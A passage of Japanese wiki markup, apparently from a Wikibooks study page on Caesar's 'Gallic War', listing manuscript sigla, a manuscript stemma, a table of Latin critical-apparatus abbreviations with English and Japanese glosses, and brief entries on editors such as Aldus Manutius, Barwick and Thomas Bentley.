| style=&quot;font-size:9pt;&quot; |ローマ、[[w:バチカン図書館|バチカン図書館]]蔵、3324番、11～12世紀
|- style=&quot;font-family:Times New Roman;&quot;
! style=&quot;font-size:15pt;color:#f55;&quot; |R
| style=&quot;font-size:13pt;background-color:#ffd;&quot; |codex Laurentianus Riccardianus 541 s. XI/XII
! style=&quot;font-size:15pt;color:#f55;&quot; |''l''
| style=&quot;font-size:12pt;background-color:#ffd;&quot; |''Riccardianus''. [[w:fr:Florence|Florence]], [[w:fr:Bibliothèque Laurentienne|Bibl. Laur.]], Riccard. 541. XI&lt;sup&gt;e&lt;/sup&gt;-XII&lt;sup&gt;e&lt;/sup&gt; siècle.
!リッカルド本
| style=&quot;font-size:9pt;&quot; |フィレンツェ、図書館蔵、541番、11～12世紀
|}

=== その他の写本 ===
このほか、以下の写本などが参照されることがある。

==== codex Oxoniensis ====
オックスフォード写本、『ガリア戦記』の校訂においては、特に以下の &lt;span style=&quot;font-family:Times New Roman;font-style:normal;font-size:15pt;&quot;&gt;[[#Codex Oxoniensis Andino]]&lt;/span&gt; を指す。
==== Codex Oxoniensis Andino ====
*&lt;span style=&quot;font-family:Times New Roman;font-style:normal;font-size:15pt;&quot;&gt;Codex [[wikt:en:oxoniensis|Oxoniensis]] Andino ([[w:en:Bibliotheca Bodleiana|Bibliotheca Bodleiana]]): &amp;nbsp;&lt;/span&gt;（&lt;span style=&quot;font-family:Times New Roman;font-style:oblique;font-size:15pt;&quot;&gt;codd. Andino. Oxon.&lt;/span&gt; などと略記される。）
**オックスフォード写本（[[w:ボドリアン図書館|ボドリアン図書館]]所蔵）
**:これは、かつてアンディン（Andin）という人物が所有していたなどから名付けられた『ガリア戦記』の写本で、&lt;br&gt;中世の主要写本 &lt;span style=&quot;font-family:Times New Roman;font-style:normal;font-size:15pt;&quot;&gt;&amp;omega;&lt;/span&gt; より劣っていると見なされることが多いため、&lt;span style=&quot;font-family:Times New Roman;font-style:oblique;font-size:15pt;&quot;&gt;dett.&lt;/span&gt; &lt;span style=&quot;font-family:Times New Roman;font-style:normal;font-size:15pt;&quot;&gt;([[wikt:en:codex#Latin|cōdicēs]] [[wikt:en:deterior#Latin|dēteriōrēs]])&lt;/span&gt; と表記されることもある。

&lt;span style=&quot;font-family:Times New Roman;font-style:normal;font-size:15pt;&quot;&gt;&lt;/span&gt;
&lt;span style=&quot;font-family:Times New Roman;font-style:oblique;font-size:15pt;&quot;&gt;&lt;/span&gt;
&lt;span style=&quot;font-family:Times New Roman;font-style:bold;font-size:15pt;&quot;&gt;&lt;/span&gt;

=== 写本の系図 ===
『ガリア戦記』に関する写本の系図理論は、20世紀においてはトイプナー版もビュデ版もおおむね同じである。以下、トイプナー版の記号を用いて系図にふれる。
{| class=&quot;wikitable&quot;
|+
|-
! colspan=&quot;4&quot; style=&quot;color:#f0f; font-family:Times New Roman;font-style:oblique;font-size:30pt;&quot; |&amp;omega;
|-
! colspan=&quot;2&quot; style=&quot;color:#80f; font-family:Times New Roman;font-style:oblique;font-size:30pt;&quot; |&amp;alpha;
! colspan=&quot;2&quot; style=&quot;color:#80f; font-family:Times New Roman;font-style:oblique;font-size:30pt;&quot; |&amp;beta;
|-
! colspan=&quot;1&quot; style=&quot;color:#00f; font-family:Times New Roman;font-style:oblique;font-size:25pt;&quot; |&amp;chi;
! colspan=&quot;1&quot; style=&quot;color:#00f; font-family:Times New Roman;font-style:oblique;font-size:25pt;&quot; |&amp;phi;
! colspan=&quot;1&quot; style=&quot;color:#00f; font-family:Times New Roman;font-style:oblique;font-size:25pt;&quot; |&amp;pi;
! colspan=&quot;1&quot; style=&quot;color:#00f; font-family:Times New Roman;font-style:oblique;font-size:25pt;&quot; |&amp;rho;
|-
| style=&quot;font-family:Times New Roman;font-size:20pt;&quot; |A &amp;middot; Q
| style=&quot;font-family:Times New Roman;font-size:20pt;&quot; |B &amp;middot; M &amp;middot; S &amp;middot; L &amp;middot; N
| style=&quot;font-family:Times New Roman;font-size:20pt;&quot; |T &amp;middot; V
| style=&quot;font-family:Times New Roman;font-size:20pt;&quot; |U &amp;middot; R
|}

*&lt;span style=&quot;color:#f0f;&quot;&gt;&lt;span style=&quot;font-family:Times New Roman;font-style:oblique;font-size:30pt;&quot;&gt;&amp;omega;&lt;/span&gt;&lt;span style=&quot;font-family:Times New Roman;font-style:normal;font-size:13pt;&quot;&gt;&amp;nbsp; significat consensum codicum omnium&lt;/span&gt;&lt;/span&gt; ： &lt;span style=&quot;font-family:Times New Roman;font-style:oblique;font-size:20pt;&quot;&gt;&amp;alpha;&lt;/span&gt;系と&lt;span style=&quot;font-family:Times New Roman;font-style:oblique;font-size:20pt;&quot;&gt;&amp;beta;&lt;/span&gt;系、すなわち、主要写本のほぼ全てが一致していることを示す。ビュデ版などでは &lt;span style=&quot;font-family:Times New Roman;font-style:oblique;font-size:13pt;&quot;&gt;codd.&lt;/span&gt; と記す。
**&lt;span style=&quot;color:#80f;&quot;&gt;&lt;span style=&quot;font-family:Times New Roman;font-style:oblique;font-size:25pt;&quot;&gt;&amp;alpha;&lt;/span&gt;&lt;span style=&quot;font-family:Times New Roman;font-style:normal;font-size:13pt;&quot;&gt;&amp;nbsp; significat consensum codicum &lt;/span&gt;&lt;span style=&quot;font-family:Times New Roman;font-style:oblique;font-size:20pt;&quot;&gt;&amp;chi;&amp;phi;&lt;/span&gt;&lt;/span&gt; ： 　&lt;span style=&quot;font-family:Times New Roman;font-style:oblique;font-size:20pt;&quot;&gt;&amp;chi;&lt;/span&gt;系と&lt;span style=&quot;font-family:Times New Roman;font-style:oblique;font-size:20pt;&quot;&gt;&amp;phi;&lt;/span&gt;系の写本がほぼ一致していることを示す。
***&lt;span style=&quot;color:#00f;&quot;&gt;&lt;span style=&quot;font-family:Times New Roman;font-style:oblique;font-size:25pt;&quot;&gt;&amp;chi;&lt;/span&gt;&lt;span style=&quot;font-family:Times New Roman;font-style:normal;font-size:13pt;&quot;&gt;&amp;nbsp; significat consensum codicum &lt;/span&gt;&lt;span style=&quot;font-family:Times New Roman;font-style:bold;font-size:15pt;&quot;&gt;AQ&lt;/span&gt;&lt;/span&gt; ： 写本&lt;span style=&quot;font-family:Times New Roman;font-style:bold;font-size:15pt;&quot;&gt;A Q&lt;/span&gt; が一致していることを示す。
****&lt;span style=&quot;font-family:Times New Roman;font-style:bold;font-size:15pt;&quot;&gt;A = &lt;/span&gt;&lt;span style=&quot;font-family:Times New Roman;font-style:normal;font-size:13pt;&quot;&gt;codex Amstelodamensis (''Bongarsianus'') 81&lt;/span&gt; ： 
****&lt;span style=&quot;font-family:Times New Roman;font-style:bold;font-size:15pt;&quot;&gt;Q = &lt;/span&gt;&lt;span style=&quot;font-family:Times New Roman;font-style:normal;font-size:13pt;&quot;&gt;codex Parisinus (''Moysiacensis'') lat. 5056&lt;/span&gt; ： 
***&lt;span style=&quot;color:#00f;&quot;&gt;&lt;span style=&quot;font-family:Times New Roman;font-style:oblique;font-size:25pt;&quot;&gt;&amp;phi;&lt;/span&gt;&lt;span style=&quot;font-family:Times New Roman;font-style:normal;font-size:13pt;&quot;&gt;&amp;nbsp; significat consensum codicum &lt;/span&gt;&lt;span style=&quot;font-family:Times New Roman;font-style:bold;font-size:15pt;&quot;&gt;BCMSLN&lt;/span&gt;&lt;/span&gt; ： 写本&lt;span style=&quot;font-family:Times New Roman;font-style:bold;font-size:15pt;&quot;&gt;B C M S L N&lt;/span&gt; がおおむね一致していることを示す。
****&lt;span style=&quot;font-family:Times New Roman;font-style:bold;font-size:15pt;&quot;&gt;B = &lt;/span&gt;&lt;span style=&quot;font-family:Times New Roman;font-style:normal;font-size:13pt;&quot;&gt;codex Parisinus lat. 5763&lt;/span&gt; ： 
****:&lt;span style=&quot;font-family:Times New Roman;font-style:bold;font-size:15pt;&quot;&gt;C = &lt;/span&gt;&lt;span style=&quot;font-family:Times New Roman;font-style:normal;font-size:13pt;&quot;&gt;codex Vossianus Leidensis 53&lt;/span&gt; ： 
****&lt;span style=&quot;font-family:Times New Roman;font-style:bold;font-size:15pt;&quot;&gt;M = &lt;/span&gt;&lt;span style=&quot;font-family:Times New Roman;font-style:normal;font-size:13pt;&quot;&gt;codex Vaticanus (''Romanus'') 3864&lt;/span&gt; ： 
****&lt;span style=&quot;font-family:Times New Roman;font-style:bold;font-size:15pt;&quot;&gt;S = &lt;/span&gt;&lt;span style=&quot;font-family:Times New Roman;font-style:normal;font-size:13pt;&quot;&gt;codex Laurentianus Ashburnhamensis (''Ashburnhamianus'') R. 33&lt;/span&gt; ： 
****&lt;span style=&quot;font-family:Times New Roman;font-style:bold;font-size:15pt;&quot;&gt;L = &lt;/span&gt;&lt;span style=&quot;font-family:Times New Roman;font-style:normal;font-size:13pt;&quot;&gt;codex Lovaniensis Add. 10084&lt;/span&gt; ： 
****&lt;span style=&quot;font-family:Times New Roman;font-style:bold;font-size:15pt;&quot;&gt;N = &lt;/span&gt;&lt;span style=&quot;font-family:Times New Roman;font-style:normal;font-size:13pt;&quot;&gt;codex Neapolitanus IV, c. 11&lt;/span&gt; ： 
**&lt;span style=&quot;color:#80f;&quot;&gt;&lt;span style=&quot;font-family:Times New Roman;font-style:oblique;font-size:25pt;&quot;&gt;&amp;beta;&lt;/span&gt;&lt;span style=&quot;font-family:Times New Roman;font-style:normal;font-size:13pt;&quot;&gt;&amp;nbsp; significat consensum codicum &lt;/span&gt;&lt;span style=&quot;font-family:Times New Roman;font-style:oblique;font-size:25pt;&quot;&gt;&amp;pi;&amp;rho;&lt;/span&gt;&lt;/span&gt; ： &lt;span style=&quot;font-family:Times New Roman;font-style:oblique;font-size:20pt;&quot;&gt;&amp;pi;&lt;/span&gt;系と&lt;span style=&quot;font-family:Times New Roman;font-style:oblique;font-size:20pt;&quot;&gt;&amp;rho;&lt;/span&gt;系の写本がほぼ一致していることを示す。
***&lt;span style=&quot;color:#00f;&quot;&gt;&lt;span style=&quot;font-family:Times New Roman;font-style:oblique;font-size:20pt;&quot;&gt;&amp;pi;&lt;/span&gt;&lt;span style=&quot;font-family:Times New Roman;font-style:normal;font-size:13pt;&quot;&gt;&amp;nbsp; significat consensum codicum &lt;/span&gt;&lt;span style=&quot;font-family:Times New Roman;font-style:bold;font-size:15pt;&quot;&gt;TV&lt;/span&gt;&lt;/span&gt; ： 写本&lt;span style=&quot;font-family:Times New Roman;font-style:bold;font-size:15pt;&quot;&gt;T V&lt;/span&gt; が一致していることを示す。
****&lt;span style=&quot;font-family:Times New Roman;font-style:bold;font-size:15pt;&quot;&gt;T = &lt;/span&gt;&lt;span style=&quot;font-family:Times New Roman;font-style:normal;font-size:13pt;&quot;&gt;codex Parisinus (''Thuaneus'') lat. 5764&lt;/span&gt; ： 
****&lt;span style=&quot;font-family:Times New Roman;font-style:bold;font-size:15pt;&quot;&gt;V = &lt;/span&gt;&lt;span style=&quot;font-family:Times New Roman;font-style:normal;font-size:13pt;&quot;&gt;codex Vindobonensis 95&lt;/span&gt; ： 
***&lt;span style=&quot;color:#00f;&quot;&gt;&lt;span style=&quot;font-family:Times New Roman;font-style:oblique;font-size:25pt;&quot;&gt;&amp;rho;&lt;/span&gt;&lt;span style=&quot;font-family:Times New Roman;font-style:normal;font-size:13pt;&quot;&gt;&amp;nbsp; significat consensum codicum &lt;/span&gt;&lt;span style=&quot;font-family:Times New Roman;font-style:bold;font-size:15pt;&quot;&gt;UR&lt;/span&gt;&lt;/span&gt; ： 写本&lt;span style=&quot;font-family:Times New Roman;font-style:bold;font-size:15pt;&quot;&gt;U R&lt;/span&gt; が一致していることを示す。
****&lt;span style=&quot;font-family:Times New Roman;font-style:bold;font-size:15pt;&quot;&gt;U = &lt;/span&gt;&lt;span style=&quot;font-family:Times New Roman;font-style:normal;font-size:13pt;&quot;&gt;codex Vaticanus (''Ursinianus'') 3324&lt;/span&gt; ： 
****&lt;span style=&quot;font-family:Times New Roman;font-style:bold;font-size:15pt;&quot;&gt;R = &lt;/span&gt;&lt;span style=&quot;font-family:Times New Roman;font-style:normal;font-size:13pt;&quot;&gt;codex (Laurentianus) Riccardianus 541&lt;/span&gt; ： 
*&lt;span style=&quot;color:#090;&quot;&gt;&lt;span style=&quot;font-family:Times New Roman;font-style:oblique;font-size:25pt;&quot;&gt;'''&amp;zeta;'''&lt;/span&gt;&lt;span style=&quot;font-family:Times New Roman;font-style:normal;font-size:13pt;&quot;&gt;&amp;nbsp; significat recentiores codicum &lt;/span&gt;&lt;/span&gt; ： 上記の主要な諸写本よりも後代の写本を示す。


&lt;span style=&quot;font-family:Times New Roman;font-style:normal;font-size:15pt;&quot;&gt;&lt;/span&gt;
&lt;span style=&quot;font-family:Times New Roman;font-style:oblique;font-size:15pt;&quot;&gt;&lt;/span&gt;
&lt;span style=&quot;font-family:Times New Roman;font-style:bold;font-size:15pt;&quot;&gt;&lt;/span&gt;

== クリティカル・アパラトゥスとその略号 ==
クリティカル・アパラトゥス（&lt;span style=&quot;font-family:Times New Roman;font-style:oblique;font-size:15pt;&quot;&gt;[[w:en:Critical apparatus|critical apparatus]]&lt;/span&gt;） とは、テクストクリティーク（&lt;span style=&quot;font-family:Times New Roman;font-style:oblique;font-size:15pt;&quot;&gt;[[w:en:Textual criticism|textual criticism]]&lt;/span&gt;、[[w:本文批評|本文批評]]） についての注釈。古典作品のテキストにおける写本間の異同、校訂者による修正提案などを記したもの（'''異読一覧'''）。単に'''アパラトゥス'''とも呼ばれ、テキスト本文に対して、脚注欄に記されることが多い。以下に、よく使われる略号を挙げる&lt;ref&gt;「critical apparatus abbreviations」 等で検索すれば、詳しく知ることができる。&lt;/ref&gt;&lt;ref&gt;
例えば、[https://www.loebclassics.com/page/abbreviations/common-abbreviations Common Abbreviations  Loeb Classical Library] 参照。&lt;/ref&gt;&lt;ref&gt;例えば、[https://nttextualcriticism.blogspot.com/2014/11/standard-apparatus-latin-symbols-and.html NT Textual Criticism Standard Apparatus Latin Symbols and Lingo] 参照。&lt;/ref&gt;&lt;ref&gt;例えば、[https://udallasclassics.org/wp-content/uploads/maurer_files/APPARATUSABBREVIATIONS.pdf COMMONEST ABBREVIATIONS, SIGNS, ETC](PDF) 参照。&lt;/ref&gt;&lt;ref&gt;例えば、[https://didattica.uniroma2.it/files/scarica/insegnamento/178380-Linguistica-Latina/66007-Abbreviazioni-apparato-critico-in-inglese Abbreviations_in_Apparatus_Critici_(Maurer) (12).pdf](PDF) を参照。&lt;/ref&gt;

{| class=&quot;wikitable&quot; cellspacing=1
|-
!略号
!ラテン語
!英訳
!和訳
|- style=&quot;font-family:Times New Roman;&quot;
| style=&quot;font-size:20pt;font-style:oblique;background-color:#ffc;&quot; |add.
| style=&quot;font-size:15pt;&quot; |addidit
| style=&quot;font-size:12pt;&quot; |''added''
| style=&quot;font-size:10pt;&quot; |付け加えた
|- style=&quot;font-family:Times New Roman;&quot;
| style=&quot;font-size:20pt;font-style:oblique;background-color:#ffc;&quot; |cett.
| style=&quot;font-size:15pt;&quot; |[[wikt:en:ceteri#Latin|ceteri]]
| style=&quot;font-size:12pt;&quot; |''other manuscripts''
| style=&quot;font-size:10pt;&quot; |他の(写本)は
|- style=&quot;font-family:Times New Roman;&quot;
| style=&quot;font-size:20pt;font-style:oblique;background-color:#ffc;&quot; |cf.
| style=&quot;font-size:15pt;&quot; |[[wikt:en:confer#Latin|confer]]
| style=&quot;font-size:12pt;&quot; |''compare with'' ～
| style=&quot;font-size:10pt;&quot; |～を比較・参照せよ
|- style=&quot;font-family:Times New Roman;&quot;
| style=&quot;font-size:15pt;font-style:oblique;background-color:#ffc;&quot; |cod.&lt;hr&gt;codd.
| style=&quot;font-size:15pt;&quot; |codex&lt;hr&gt;codices
| style=&quot;font-size:10pt;&quot; |''MSS.''&lt;br&gt; (''manuscripts'')
| style=&quot;font-size:10pt;&quot; |写本は
|- style=&quot;font-family:Times New Roman;&quot;
| style=&quot;font-size:15pt;font-style:oblique;background-color:#ffc;&quot; |codd. deter.
| style=&quot;font-size:15pt;&quot; |codices deteriores &lt;ref&gt;[[wikt:en:codex#Latin|cōdicēs]] ([[wikt:en:deterior#Latin|dēteriōrēs]])：dett. に同じ。&lt;/ref&gt;
| style=&quot;font-size:10pt;&quot; |''inferior MSS.&lt;small&gt;(manuscripts)&lt;/small&gt;''
| style=&quot;font-size:10pt;&quot; |(主要写本よりも)&lt;br&gt;より劣っている写本
|- style=&quot;font-family:Times New Roman;&quot;
| style=&quot;font-size:20pt;font-style:oblique;background-color:#ffc;&quot; |corr.
| style=&quot;font-size:15pt;&quot; |correctio,&lt;br&gt;correctiones
| style=&quot;font-size:12pt;&quot; |''correction&lt;br&gt;(corrected)''
| style=&quot;font-size:10pt;&quot; |修正(した)
|- style=&quot;font-family:Times New Roman;&quot;
| style=&quot;font-size:15pt;font-style:oblique;background-color:#ffc;&quot; |corr. recc.
| style=&quot;font-size:13pt;&quot; |correctiones recentiores
| style=&quot;font-size:12pt;&quot; |''later correction(s)''
| style=&quot;font-size:10pt;&quot; |より後代の修正
|- style=&quot;font-family:Times New Roman;&quot;
| style=&quot;font-size:15pt;font-style:oblique;background-color:#ffc;&quot; |deest&lt;hr&gt;desunt
| style=&quot;font-size:15pt;&quot; |deest&lt;hr&gt;desunt
| style=&quot;font-size:12pt;&quot; |''(this word) is missing''&lt;hr&gt;''(these words) are missing'' 
| style=&quot;font-size:10pt;&quot; |欠落している
|- style=&quot;font-family:Times New Roman;&quot;
| style=&quot;font-size:20pt;font-style:oblique;background-color:#ffc;&quot; |def.
| style=&quot;font-size:15pt;&quot; |defendit
| style=&quot;font-size:12pt;&quot; |''defends,&lt;br&gt;defended''
| style=&quot;font-size:10pt;&quot; |擁護した
|- style=&quot;font-family:Times New Roman;&quot;
| style=&quot;font-size:20pt;font-style:oblique;background-color:#ffc;&quot; |del.
| style=&quot;font-size:15pt;&quot; |delevit
| style=&quot;font-size:12pt;&quot; |''deleted''
| style=&quot;font-size:10pt;&quot; |削除した
|- style=&quot;font-family:Times New Roman;&quot;
| style=&quot;font-size:20pt;font-style:oblique;background-color:#ffc;&quot; |deter.&lt;hr&gt;dett.
| style=&quot;font-size:15pt;&quot; |deteriores (codices) &lt;ref&gt;[[wikt:en:deterior#Latin|dēteriōrēs]] ([[wikt:en:codex#Latin|cōdicēs]])：codd. deter.&lt;/ref&gt;
| style=&quot;font-size:10pt;&quot; |''inferior MSS.&lt;small&gt;(manuscripts)&lt;/small&gt;''
| style=&quot;font-size:10pt;&quot; |(主要写本よりも)&lt;br&gt;より劣っている写本
|- style=&quot;font-family:Times New Roman;&quot;
| style=&quot;font-size:20pt;font-style:oblique;background-color:#ffc;&quot; |dub.
| style=&quot;font-size:15pt;&quot; |dubius&lt;hr&gt;dubiter
| style=&quot;font-size:12pt;&quot; |''doubtful''&lt;hr&gt;''doubtfully'' 
| style=&quot;font-size:10pt;&quot; |疑わしい
|- style=&quot;font-family:Times New Roman;&quot;
| style=&quot;font-size:20pt;font-style:oblique;background-color:#ffc;&quot; |ed. pr.
| style=&quot;font-size:15pt;&quot; |[[wikt:en:editio princeps|editio princeps,&lt;br&gt; editiones principes]]
| style=&quot;font-size:12pt;&quot; |''the first printed edition(s)&lt;br&gt;(&amp;nbsp;of a work previously only&lt;br&gt; published as manuscript)''
| style=&quot;font-size:10pt;&quot; |最初の&lt;br&gt;印刷本&lt;ref group=&quot;注&quot;&gt;&lt;span style=&quot;font-size:13pt;&quot;&gt;『ガリア戦記』の最初の印刷本（Editio princeps）は、1469年に、&lt;span style=&quot;font-style:oblique;&quot;&gt;[[w:en:Giovanni Andrea Bussi|Giovanni Andrea Bussi]]&lt;/span&gt; 編のものが、ローマで二人の印刷者 &lt;span style=&quot;font-style:oblique;&quot;&gt;[[w:en:Arnold Pannartz and Konrad Sweynheim|Arnold Pannartz &amp; Konrad Sweynheim]]&lt;/span&gt; によって印刷・刊行された（[[w:en:Editio_princeps#Latin_works|Editio princeps]] 参照）。&lt;/span&gt;&lt;/ref&gt;
|- style=&quot;font-family:Times New Roman;&quot;
| style=&quot;font-size:20pt;font-style:oblique;background-color:#ffc;&quot; |edd.
| style=&quot;font-size:15pt;&quot; |editores
| style=&quot;font-size:12pt;&quot; |''editors''
| style=&quot;font-size:10pt;&quot; |編者たち&lt;br&gt;(校訂者たち)
|- style=&quot;font-family:Times New Roman;&quot;
| style=&quot;font-size:15pt;font-style:oblique;background-color:#ffc;&quot; |edd. recc.
| style=&quot;font-size:15pt;&quot; |editores recentiores
| style=&quot;font-size:10pt;&quot; |''lated editors'',&lt;br&gt;''lated editions''
| style=&quot;font-size:10pt;&quot; |より後代の刊本
|- style=&quot;font-family:Times New Roman;&quot;
| style=&quot;font-size:15pt;font-style:oblique;background-color:#ffc;&quot; |edd. vett.&lt;hr&gt;edd. vetust.
| style=&quot;font-size:15pt;&quot; |editores veteres
| style=&quot;font-size:10pt;&quot; |''old editors'',&lt;br&gt;''old editions''
|- style=&quot;font-family:Times New Roman;&quot;
| style=&quot;font-size:15pt;font-style:oblique;background-color:#ffc;&quot; |m.&lt;hr&gt;man.
| style=&quot;font-size:15pt;&quot; |manus
| style=&quot;font-size:10pt;&quot; |''hand'' i.e. ''copyist''
|- style=&quot;font-family:Times New Roman;&quot;
| style=&quot;font-size:15pt;font-style:oblique;background-color:#ffc;&quot; |marg.&lt;hr&gt;mg.
| style=&quot;font-size:15pt;&quot; |in [[wikt:en:margine#Latin|margine]]
| style=&quot;font-size:12pt;&quot; |''in the margin''
| style=&quot;font-size:10pt;&quot; |欄外に
|- style=&quot;font-family:Times New Roman;&quot;
| style=&quot;font-size:20pt;font-style:oblique;background-color:#ffc;&quot; |om.
| style=&quot;font-size:15pt;&quot; |omittit,&lt;br&gt;omisit
| style=&quot;font-size:12pt;&quot; |''omits'',&lt;br&gt;''omitted''
| style=&quot;font-size:10pt;&quot; |省いた
|- style=&quot;font-family:Times New Roman;&quot;
| style=&quot;font-size:20pt;font-style:oblique;background-color:#ffc;&quot; |recc.
| style=&quot;font-size:15pt;&quot; |recentiores
| style=&quot;font-size:12pt;&quot; |''later (MSS)''
| style=&quot;font-size:10pt;&quot; |より後代の
|- style=&quot;font-family:Times New Roman;&quot;
| style=&quot;font-size:20pt;font-style:oblique;background-color:#ffc;&quot; |secl.
| style=&quot;font-size:15pt;&quot; |seclusit &lt;ref&gt;[[wikt:en:seclusit]]&lt;/ref&gt; 
| style=&quot;font-size:12pt;&quot; |''has bracketed as corrupt'' 
| style=&quot;font-size:10pt;&quot; |(破損テキストと見なして)&lt;br&gt; [　] で括った
|- style=&quot;font-family:Times New Roman;&quot;
| style=&quot;font-size:20pt;font-style:oblique;background-color:#ffc;&quot; |sim.
| style=&quot;font-size:15pt;&quot; |similia
| style=&quot;font-size:12pt;&quot; |''similar (words)''; ''similarly''
| style=&quot;font-size:10pt;&quot; |似たような；同じように
|- style=&quot;font-family:Times New Roman;&quot;
| style=&quot;font-size:15pt;font-style:oblique;background-color:#ffc;&quot; |sc.
| style=&quot;font-size:15pt;&quot; |scilicet
| style=&quot;font-size:12pt;&quot; |''no doubt, certainly''
| style=&quot;font-size:10pt;&quot; |疑いなく、確かに
|- style=&quot;font-family:Times New Roman;&quot;
| style=&quot;font-size:15pt;font-style:oblique;background-color:#ffc;&quot; |sq.&lt;hr&gt;sqq.
| style=&quot;font-size:15pt;&quot; |sequens&lt;hr&gt;sequentes
| style=&quot;font-size:12pt;&quot; |''following (word(s))''
| style=&quot;font-size:10pt;&quot; |引き続く(語)
|- style=&quot;font-family:Times New Roman;&quot;
| style=&quot;font-size:15pt;font-style:oblique;background-color:#ffc;&quot; |vulg(o)
| style=&quot;font-size:15pt;&quot; |vulgo
| style=&quot;font-size:12pt;&quot; |''commonly, &amp;nbsp; in the ordinary&lt;br&gt; manuscript tradition''
| style=&quot;font-size:10pt;&quot; |一般的に、&lt;br&gt;通常の写本の伝統において
|-
| colspan=&quot;3&quot; | 

|- style=&quot;font-family:Times New Roman;&quot;
| style=&quot;font-size:20pt;font-style:oblique;background-color:#ffc;&quot; |
| style=&quot;font-size:15pt;&quot; |
| style=&quot;font-size:12pt;&quot; |
| style=&quot;font-size:10pt;&quot; |
|}
===Editio princeps===
{{Wikipedia|la:Editio princeps|la: Editio princeps}}
&lt;span style=&quot;font-family:Times New Roman;font-style:oblique;font-size:18pt;&quot;&gt;[[w:en:Editio princeps|Editio princeps]]&lt;/span&gt;：　最初の印刷本&lt;span style=&quot;font-size:18pt;&quot;&gt;（&lt;/span&gt;略号&lt;span style=&quot;font-family:Times New Roman;font-style:oblique;font-size:20pt;&quot;&gt;&amp;nbsp;ed. pr.&lt;/span&gt; &lt;span style=&quot;font-size:18pt;&quot;&gt;）&lt;/span&gt;
&lt;div style=&quot;width:55%;background-color:#ffd;&quot;&gt;&lt;references group=&quot;注&quot; /&gt;&lt;/div&gt;


&lt;span style=&quot;font-family:Times New Roman;font-style:normal;font-size:25pt;&quot;&gt;&lt;/span&gt;
&lt;span style=&quot;font-family:Times New Roman;font-style:oblique;font-size:15pt;&quot;&gt;&lt;/span&gt;

== 校訂版 ==


== おもな校訂者（校訂版）などの人名 ==
[[#Aldus]]&lt;small&gt; (Aldus Manutius)&lt;/small&gt;　　[[#Barwick]]　　[[#Bentley, Thomas]]　　[[#Ciacconius]]&lt;small&gt; (Chacón)&lt;/small&gt;　　[[#Clarke]]　　[[#Daehne]]　　[[#Davisius]]&lt;small&gt; (Davies)&lt;/small&gt;　　[[#Dinter]]　　[[#Dittenberger]]　　[[#Ernout]]　　([[#Estienne]])　　[[#Flodoardus]]　　[[#Frigell]]　　[[#Fuchs]]　　Fulvius [[#Ursinus|Ursinus]]&lt;small&gt; (Orsini)&lt;/small&gt;　　[[#Gertz]]　　[[#Glandorpius (Glandorp)]]　　[[#Glareanus]] (Glarean)　　[[#Gruter]]　　[[#Heller]]　　[[#Holder]]　　[[#Holmes]]　　[[#Hotomanus]]&lt;small&gt; (Hotman)&lt;/small&gt;　　[[#Jungermann]]　　[[#Koller]]　　[[#Kraner]]　　[[#Kuebler]]&lt;small&gt; (Kübler)&lt;/small&gt;　　[[#Lipsius]]　　[[#Manutius]]　　&lt;small&gt;([[#Manuzio]])&lt;/small&gt;　　[[#Meusel]]　　[[#Mommsen]]　　[[#Morus]]　　[[#Nicasius]]　　[[#Nipperdey]]　　[[#Oehler]]&lt;small&gt; (Öhler)&lt;/small&gt;　　[[#Orosius]]　　Orsini&lt;small&gt; ([[#Ursinus|Ursinus]])&lt;/small&gt;　　[[#Oudendorpius]]&lt;small&gt; (Oudendorp)&lt;/small&gt;　　[[#Plutarchus]] (&lt;span style=&quot;font-family:Times New Roman;font-style:normal;font-size:15pt;&quot;&gt;Πλούταρχο&lt;/span&gt;)　　[[#Rhenanus]]　　[[#Rösch (Roesch)]]　　[[#R.Schneider]]　　[[#Scaliger]]　　[[#Schiller]]　　&lt;small&gt;([[#Schneider]])&lt;/small&gt;　　[[#Schneider,K.E.Chr.]]　　[[#Spillmann]]　　[[#Stephanus (Estienne)]]　　[[#Ursinus]]&lt;small&gt; (Orsini)&lt;/small&gt;　　[[#Vascosanus]]　　[[#Vossius]]　　[[#Whitte]]　　[[#Zeuss]]&lt;small&gt; (Zeuß)&lt;/small&gt;　　[[#Zucker]]　　
　　　&lt;span style=&quot;font-family:Times New Roman;font-style:normal;font-size:15pt;&quot;&gt;　&lt;/span&gt; 
===Aldus===
{{Wikipedia|アルドゥス・マヌティウス|アルドゥス・マヌティウス}}
{{Wikipedia|アルド印刷所|アルド印刷所}}
*&lt;span style=&quot;font-family:Times New Roman;font-style:normal;font-size:15pt;&quot;&gt;[[w:la:Aldus Manutius|Aldus Pius Manutius]] (1449/1452-1515)&lt;/span&gt;([[w:en:Aldus Manutius|en]])　（略号 &lt;span style=&quot;font-family:Times New Roman;font-style:oblique;font-size:15pt;&quot;&gt;Ald.&lt;/span&gt;）　イタリア語名　アルド・ピオ・'''マヌーツィオ''' &lt;span style=&quot;font-family:Times New Roman;font-style:oblique;font-size:15pt;&quot;&gt;[[w:it:Aldo Manuzio|Aldo Manuzio]]&lt;/span&gt;
*:15世紀ルネサンスのヴェネツィアの古典学者で、印刷・出版業者。
*:カエサルなど、多くのギリシア･ラテンの書物を印刷・刊行した。
*:アルドゥス名義で[[w:アルド印刷所|アルド印刷所]]から発行された著作を含む。
:[[#Manutius]] も参照。
===Barwick===
*&lt;span style=&quot;font-family:Times New Roman;font-style:oblique;font-size:15pt;&quot;&gt;[[w:de:Karl Barwick|Karl Barwick (1883-1965)]]&lt;/span&gt;　　ドイツの古典文献学者。
*:'''著作''': &lt;span style=&quot;font-family:Times New Roman;font-style:oblique;font-size:15pt;&quot;&gt;Caesars Commentarii und das Corpus Caesarianum (1938)&lt;/span&gt; &lt;ref&gt;[https://www.persee.fr/doc/rbph_0035-0818_1941_num_20_1_1604_t1_0135_0000_3 Barwick (Karl). Caesars Commentarii und das Corpus Caesarianum - Persée]&lt;/ref&gt;
===Bentley, Thomas===
*&lt;span style=&quot;font-family:Times New Roman;font-style:oblique;font-size:15pt;&quot;&gt;Thomas Bentley (1692–1742)&lt;/span&gt;（ラテン語名：トーマース・ベントレイウス [[wikt:en:Thomas#Latin|Thōmās]] Bentleius）&lt;/span&gt;
*:18世紀のイギリスの古典学者トマス・ベントリー。著名な古典学者'''[[w:リチャード・ベントリー|リチャード・ベントリー]]'''（Richard Bentley）の甥&lt;ref&gt;[[w:en:Richard_Bentley#Later_life]] などを参照。&lt;/ref&gt;。
